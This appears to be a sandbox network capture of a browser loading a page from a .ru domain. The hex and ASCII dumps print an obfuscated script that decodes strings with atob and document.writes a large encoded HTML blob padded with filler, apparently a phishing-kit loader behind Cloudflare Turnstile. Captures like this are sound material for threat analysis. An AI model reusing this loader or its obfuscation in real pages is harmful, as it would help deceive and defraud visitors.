2025-03-06 21:54:49 UTC	654	OUT	GET /3cDRxGja/ HTTP/1.1 Host: t8ja.vyhbxyts.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:49 UTC	1206	IN	HTTP/1.1 200 OK Date: Thu, 06 Mar 2025 21:54:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=r69bQLXJUCzWuR0mzs6m1SIUjg9dgfo13Z66TCCYvVJgGyerEmOrs1sT1%2FBZxRHeTGeHMkIOTtNQPxkWEPVi1xKEdK4to4xEo7RQGHig2XcTgNfhbnEuDFf5KArFivrzVnbJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=402&min_rtt=389&rtt_var=172&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1564&delivery_rate=8169696&cwnd=252&unsent_bytes=0&cid=7dacd44a64a11640&ts=200&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6ImorTG9XOFo0dDQrU3dXa280Wnc1eHc9PSIsInZhbHVlIjoibk85cHB6ZGM2aUNod3lYdmxNNVhScnRPUy9wdU01NHc0L0M5aVJ4diswajhwWE1EajdCWWRTUjgrUTVSWVlBR0NSeHdpYmxoNGhZWG4wcnhDRDhDTi84TmRLa0FoRHFUQnZmTVVra1A3OTlFSDZjR1AxQTk5WUJzQWlGQkExVHciLCJtYWMiOiJkMDQ2MmUxY2JlOWI4OTUzMjc4YWJhNGU4NDE5ZmMwZGFmYmY0YzVmNzQxZWZkZjkwNGE1OTBkYWFhY2ZlNWZkIiwidGFnIjoiIn0%3D; expires=Thu, 06-Mar-2025 23:54:49 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-06 21:54:49 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6d 78 4f 64 48 63 78 61 55 31 34 4f 57 46 45 59 54 51 7a 4f 54 4a 61 51 55 5a 4b 59 57 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 30 31 32 61 43 39 69 4f 48 6c 6a 62 33 64 75 52 48 52 44 52 33 68 76 54 45 4e 68 4e 6a 42 6f 63 30 46 33 59 32 5a 77 62 6b 56 59 65 6d 74 59 55 6b 68 6d 55 56 6f 79 64 47 6c 78 5a 33 55 76 4f 48 68 33 4d 79 39 4e 56 53 39 78 4e 69 39 57 61 48 55 31 59 6c 70 59 64 6e 6b 76 55 69 39 59 4f 58 68 32 55 6d 74 58 4b 30 49 35 61 6c 6f 78 61 30 6c 36 63 57 31 6f 55 6b 74 53 4d 31 52 4c 53 30 52 6a 52 6b 6b 34 56 58 6c 45 4f 58 4e 6f 56 47 74 61 65 6b 74 52 61 47 35 7a 59 6a 4a 6a 54 6e 68 78 56 56 56 6f 52 33 45 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6ImxOdHcxaU14OWFEYTQzOTJaQUZKYWc9PSIsInZhbHVlIjoib012aC9iOHljb3duRHRDR3hvTENhNjBoc0F3Y2ZwbkVYemtYUkhmUVoydGlxZ3UvOHh3My9NVS9xNi9WaHU1YlpYdnkvUi9YOXh2UmtXK0I5aloxa0l6cW1oUktSM1RLS0RjRkk4VXlEOXNoVGtaektRaG5zYjJjTnhxVVVoR3E
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 37 66 66 39 0d 0a 3c 73 63 72 69 70 74 3e 0a 6e 6d 48 4c 56 4d 7a 56 4b 4b 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 55 4f 47 70 68 4c 6e 5a 35 61 47 4a 34 65 58 52 7a 4c 6e 4a 31 4c 7a 4e 6a 52 46 4a 34 52 32 70 68 4c 77 3d 3d 22 29 3b 0a 50 67 6b 4c 45 71 4b 68 74 4f 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 4f 77 61 49 79 6c 6f 6b 70 51 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 6e 6d 48 4c 56 4d 7a 56 4b 4b 20 3d 3d 20 50 67 6b 4c 45 71 4b 68 74 4f 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 4f 77 61 49 79 6c 6f 6b 70 51 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b Data Ascii: 7ff9<script>nmHLVMzVKK = atob("aHR0cHM6Ly9UOGphLnZ5aGJ4eXRzLnJ1LzNjRFJ4R2phLw==");PgkLEqKhtO = atob("bm9tYXRjaA==");OwaIylokpQ = atob("d3JpdGU=");if(nmHLVMzVKK == PgkLEqKhtO){document[OwaIylokpQ](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 Data Ascii: Wk44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g7
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: k44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk77
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 44Wk776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44W
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 Data Ascii: 76g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk44Wk776g44Wk776g
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 Data Ascii: Wk776g776g776g44Wk776g44Wk776g776g776g776g776g44Wk776g776g776g44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk4
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 Data Ascii: k44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g44Wk776g776g44Wk776g776g776g776g44Wk776g776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk776g44Wk776g44Wk44Wk44Wk776g44Wk776g44Wk776g776g776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk44Wk44Wk77
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 Data Ascii: 776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776g44W
2025-03-06 21:54:49 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 Data Ascii: 76g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49718	104.18.95.41	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:51 UTC	663	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:52 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 06 Mar 2025 21:54:52 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 91c518133f0f4210-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49717	151.101.194.137	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:51 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://t8ja.vyhbxyts.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:52 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 06 Mar 2025 21:54:52 GMT Age: 2539694 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740050-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 3 X-Timer: S1741298092.051935,VS0,VE0 Vary: Accept-Encoding
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-06 21:54:52 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
